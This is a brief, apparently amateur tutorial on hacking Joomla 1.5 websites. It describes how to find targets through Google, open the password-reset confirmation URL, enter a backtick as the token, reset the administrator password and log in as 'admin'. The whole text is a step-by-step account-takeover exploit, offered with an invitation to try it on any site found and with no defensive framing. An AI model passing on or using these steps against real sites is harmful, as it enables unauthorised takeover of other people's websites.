Hacking Joomla 1.5x

Please sit down and try this!
1. Find a target:
searching via google.com wordkey Joomla 1.5x. ex: you get : www.target.com
2. Backdoor:
hijack script like this on after www.target.com/:
index.php?option=com_user&view=reset&layout=confirm
ex: http:www.target.com/index.php?option=com_user&view=reset&layout=confirm
3. Exploit:
write char: ` on colom input.
4. Enter new password admin .
5. and  http://www.target.com/administrator/ so login. User default is admin.
6. Game Over!

ok.. lets try